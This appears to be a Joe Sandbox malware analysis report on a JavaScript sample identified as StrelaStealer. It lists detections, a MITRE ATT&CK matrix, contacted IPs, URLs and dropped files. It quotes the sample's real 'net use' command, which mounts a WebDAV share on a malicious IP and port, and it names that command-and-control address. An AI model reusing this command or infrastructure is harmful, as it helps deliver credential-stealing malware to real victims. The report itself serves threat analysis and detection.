Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
35491083472324549.js	13%	ReversingLabs	Script-JS.Trojan.StrelaStealer
35491083472324549.js	15%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/W	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000006.00000002.1734498404.000001AAD7358000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2967604807.0000023026C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/W	net.exe, 00000006.00000003.1733046854.000001AAD738A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1734566339.000001AAD738A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1731380692.0000023026EC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1734566339.000001AAD738A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1734498404.000001AAD7358000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1731380692.0000023026EC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590611
Start date and time:	2025-01-14 11:11:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	35491083472324549.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.107, 2.16.168.105, 52.22.41.97, 3.233.129.217, 3.219.243.226, 52.6.155.20, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.214.172, 23.209.209.135, 2.19.126.143, 2.19.126.149, 4.245.163.56, 104.126.112.182, 13.107.253.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:12:00	API Interceptor	25x Sleep call for process: powershell.exe modified
05:12:05	API Interceptor	1x Sleep call for process: net.exe modified
05:12:05	API Interceptor	2x Sleep call for process: svchost.exe modified
05:12:18	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	ProductBOMpq_v4.xlsm	Get hash	malicious	Unknown	Browse	199.232.214.172
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	Scanned-IMGS_from NomanGroup IDT.scr.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
	12.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	UoEDaAjHGW.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	199.232.210.172
	PRODUKTY.EXE.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	199.232.210.172
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	G7T8lHJWWM.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	009.vbe	Get hash	malicious	AgentTesla	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073486309797886
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrg:KooCEYhgYEL0In
MD5:	B5CC510F4E0F0FA16C98A8C41A34F853
SHA1:	3FB6C004CCEB216DBB920136BE5427101A16BA5A
SHA-256:	075E0C680BCCFFB7D4D70160CFDF919F39D2A46782D6A767CE65D05523478CAB
SHA-512:	27BC127606BB3A60008D723EDAF6157F197597FBB7E21B3E9AD48146DCA4DAB6F18B28F2384812F042F563B012DACFE97E9C2C8862314E230BDECFB59949725E
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbef53c03, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221543229762991
Encrypted:	false
SSDEEP:	1536:xXHSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1w:xaza/vMUM2Uvz7DO
MD5:	F36B1BD516C24991AAF141F94CD68DA3
SHA1:	E9D68294C5FF93E6776153B15E024B71988121BB
SHA-256:	1DA0D8B5E1758B4CBDC8DF848B1B0D87B2B7F2926257A338DA29CADC06318C97
SHA-512:	AB5EBA756D77762E586F25596E2E3978497F5FE1F7EC4C0A2E0033A037697D89D4AB1A7F7DACD7B1D7E94189329B2D4B1EDF992BA9CAC6DF60FD75165596E3BE
Malicious:	false
Preview:	..<.... .......A.......X\...;...{......................0.!..........{A......}Y.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................l......}..................X........}w..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07690188212911236
Encrypted:	false
SSDEEP:	3:8/tKYeXvrlukjn13a/7YwlltollcVO/lnlZMxZNQl:sKzXvxv53qcw/GOewk
MD5:	372DF4B53421DAC5AE96F52270593CB5
SHA1:	48BAE063CE4A8992897B934C0206C1ADE15DD7AF
SHA-256:	5FF08BA185A1F33C8B2A8CC45891CF30C597D7C77713D0ACE24AE0AC4DB6BDC1
SHA-512:	D1059AEDAF59E98A0F10CD2F4AD5975BE06239EF9132592B1B54C3286ABB14D560BD1F031BC5E1821525DA464E88A7F3E4C0F57C4DDE60566C62D1844141B55C
Malicious:	false
Preview:	k........................................;...{.......}w......{A..............{A......{A..........{A]................X........}w.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.147611813493171
Encrypted:	false
SSDEEP:	6:iO8Aykt+q2Pwkn2nKuAl9OmbnIFUtWAyWZmwoAySVkwOwkn2nKuAl9OmbjLJ:7WkovYfHAahFUtQW/Cq5JfHAaSJ
MD5:	F3B80CA1444FC8F6556708B5527DE020
SHA1:	1EC078EE62B7111D38C2D177649A64B9C79CD76C
SHA-256:	DFBEC6898C8CE69BFB362D86DF5870DEF9171F8B894C30597ADD0056F2DA7529
SHA-512:	2DDB383984AC20D0256ECFE5E472ADA0E6A076640F0277CFD083BEA28C544FDBBF2D2EAB586FFFB610CC50006883AF128E378957575C28CAFE3ABAEC6459CC99
Malicious:	false
Preview:	2025/01/14-05:12:05.044 e08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-05:12:05.046 e08 Recovering log #3.2025/01/14-05:12:05.046 e08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.147611813493171
Encrypted:	false
SSDEEP:	6:iO8Aykt+q2Pwkn2nKuAl9OmbnIFUtWAyWZmwoAySVkwOwkn2nKuAl9OmbjLJ:7WkovYfHAahFUtQW/Cq5JfHAaSJ
MD5:	F3B80CA1444FC8F6556708B5527DE020
SHA1:	1EC078EE62B7111D38C2D177649A64B9C79CD76C
SHA-256:	DFBEC6898C8CE69BFB362D86DF5870DEF9171F8B894C30597ADD0056F2DA7529
SHA-512:	2DDB383984AC20D0256ECFE5E472ADA0E6A076640F0277CFD083BEA28C544FDBBF2D2EAB586FFFB610CC50006883AF128E378957575C28CAFE3ABAEC6459CC99
Malicious:	false
Preview:	2025/01/14-05:12:05.044 e08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-05:12:05.046 e08 Recovering log #3.2025/01/14-05:12:05.046 e08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.167930618961524
Encrypted:	false
SSDEEP:	6:iO8Ayo0i+q2Pwkn2nKuAl9Ombzo2jMGIFUtWAydr1FZZmwoAyfBVkwOwkn2nKuAv:7WTi+vYfHAa8uFUtQx1X/CfBV5JfHAaU
MD5:	E09F66E55A1ADA550670403038CD45BF
SHA1:	85956FFE3115A553F50B106AE69FC94C465E86F6
SHA-256:	B21CB40526568F11DD330DEDA20AD18910B3FFE38A6C4691A239C14F3813428D
SHA-512:	CF147D26293CBBC8D437E7518C6999B99F18D3A91312A3D250BA1624F43836700128907AFE22DA3ECA45C4ECC165121B58C130385E5BAE9B84FD67A10E402133
Malicious:	false
Preview:	2025/01/14-05:12:05.131 47c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-05:12:05.134 47c Recovering log #3.2025/01/14-05:12:05.136 47c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.167930618961524
Encrypted:	false
SSDEEP:	6:iO8Ayo0i+q2Pwkn2nKuAl9Ombzo2jMGIFUtWAydr1FZZmwoAyfBVkwOwkn2nKuAv:7WTi+vYfHAa8uFUtQx1X/CfBV5JfHAaU
MD5:	E09F66E55A1ADA550670403038CD45BF
SHA1:	85956FFE3115A553F50B106AE69FC94C465E86F6
SHA-256:	B21CB40526568F11DD330DEDA20AD18910B3FFE38A6C4691A239C14F3813428D
SHA-512:	CF147D26293CBBC8D437E7518C6999B99F18D3A91312A3D250BA1624F43836700128907AFE22DA3ECA45C4ECC165121B58C130385E5BAE9B84FD67A10E402133
Malicious:	false
Preview:	2025/01/14-05:12:05.131 47c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-05:12:05.134 47c Recovering log #3.2025/01/14-05:12:05.136 47c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967717088634269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq/sBdOg2H4caq3QYiubInP7E4T3y:Y2sRdsJdMHz3QYhbG7nby
MD5:	D9B4E9AA32F8631DC0E67CD8AAAD684A
SHA1:	398D8D296F0205254E80ACD10FE92B568F27D521
SHA-256:	045D14E4A005E1375B51BABBA94841AF1308FB78E1DB74BBB62C8A8533C083C2
SHA-512:	DC9F29F23CC32FB9D1B9A6B16A6B6790560EB262CCDCD1FC7BA10F861082CCA818761E2BD773F62F98BA948B05F58309B6E3728A8E5B2B8DBAE60A26D68B15C1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381409537509933","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":165495},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cf2f77e3-c10f-4660-b44a-0bca03b33dfd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967717088634269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq/sBdOg2H4caq3QYiubInP7E4T3y:Y2sRdsJdMHz3QYhbG7nby
MD5:	D9B4E9AA32F8631DC0E67CD8AAAD684A
SHA1:	398D8D296F0205254E80ACD10FE92B568F27D521
SHA-256:	045D14E4A005E1375B51BABBA94841AF1308FB78E1DB74BBB62C8A8533C083C2
SHA-512:	DC9F29F23CC32FB9D1B9A6B16A6B6790560EB262CCDCD1FC7BA10F861082CCA818761E2BD773F62F98BA948B05F58309B6E3728A8E5B2B8DBAE60A26D68B15C1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381409537509933","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":165495},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.256074466630913
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7ENvbq:etJCV4FiN/jTN/2r8Mta02fEhgO73goH
MD5:	4877C1A34644B075D80779E6A541C86B
SHA1:	50D8833EF3ACB1FB2B4E433C6FDDC18D10E7FCF1
SHA-256:	8E900D958649523A90063849FEF41AD00A5C2B4328BD62EB0855AE562879E0FE
SHA-512:	BB1B5661DB34B87B88E637CE18585FFE342D00AB4F9DD69064B07B5EA7E4818B912B1E7476ABDED704B04804C4D553F0D4B176A3A8400A6FCC4D0F542BA3BA1B
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.17852851794226
Encrypted:	false
SSDEEP:	6:iO8AyG9+q2Pwkn2nKuAl9OmbzNMxIFUtWAyBZmwoAyaNVkwOwkn2nKuAl9OmbzNq:7WG9+vYfHAa8jFUtQB/CaNV5JfHAa84J
MD5:	26A01A5477BE57AA9FC9F48ED265440C
SHA1:	0B95BA53278AC477EE0028E412599F512F4897CF
SHA-256:	2ECB82CBFD50335839DFD2CF2B37A2F0523ED4BC78597D70686B8A19039CD430
SHA-512:	0753770A541DE272202452836C57D98BF61C9800BF587B717071A5DE87D5E1FAC0FD3E5440D84F610DD96C54A9CAD9AB1DB16A8857F2E3C8CAD14C7BD81088EE
Malicious:	false
Preview:	2025/01/14-05:12:05.182 47c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-05:12:05.183 47c Recovering log #3.2025/01/14-05:12:05.184 47c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.17852851794226
Encrypted:	false
SSDEEP:	6:iO8AyG9+q2Pwkn2nKuAl9OmbzNMxIFUtWAyBZmwoAyaNVkwOwkn2nKuAl9OmbzNq:7WG9+vYfHAa8jFUtQB/CaNV5JfHAa84J
MD5:	26A01A5477BE57AA9FC9F48ED265440C
SHA1:	0B95BA53278AC477EE0028E412599F512F4897CF
SHA-256:	2ECB82CBFD50335839DFD2CF2B37A2F0523ED4BC78597D70686B8A19039CD430
SHA-512:	0753770A541DE272202452836C57D98BF61C9800BF587B717071A5DE87D5E1FAC0FD3E5440D84F610DD96C54A9CAD9AB1DB16A8857F2E3C8CAD14C7BD81088EE
Malicious:	false
Preview:	2025/01/14-05:12:05.182 47c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-05:12:05.183 47c Recovering log #3.2025/01/14-05:12:05.184 47c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444941363126445
Encrypted:	false
SSDEEP:	384:yezci5tmiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rps3OazzU89UTTgUL
MD5:	4982E6A6E9EFAC19FB3E5BEF205693F5
SHA1:	8ACF5FF2E89DC9F4EC90986C1BCB726CE4547C92
SHA-256:	C746CE36AA1DD7D121C31FA3FEF6923C3B14BFFBB9D736C2A3AA674EC2890B70
SHA-512:	EC9A17558166375054562A10910B4B7AA35C7A0222699E04387CD238023C72CC897BDFD5BAEC14C8A1DED6C95CB46A78D036BD64B134D53B1072279E45B550CE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.772026539658706
Encrypted:	false
SSDEEP:	48:7M2p/E2ioyVo4ioy9oWoy1Cwoy1pbKOioy1noy1AYoy1Wioy1hioybioyztoy1nU:7ppjuo4F6RXKQs/ob9IVXEBodRBkj
MD5:	E26F280FC1C054DE76CC766078321387
SHA1:	D1228A932C713C34EC6D0F638E1B2931BF873BD1
SHA-256:	0C5D5FAABC6CED2C70F3FCA3791234591262408EFEDCAB343EAB7ADA70E61F33
SHA-512:	EE04396048864E1A8D75AF0F69A72B54D1987C3AC9BA4B0672789C7E09D342F2F13F4F21480CB5DE40640CFF28DA6B4D7AFB68CDBF9DD3AD383118555A4521B3
Malicious:	false
Preview:	.... .c.....vDSE...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
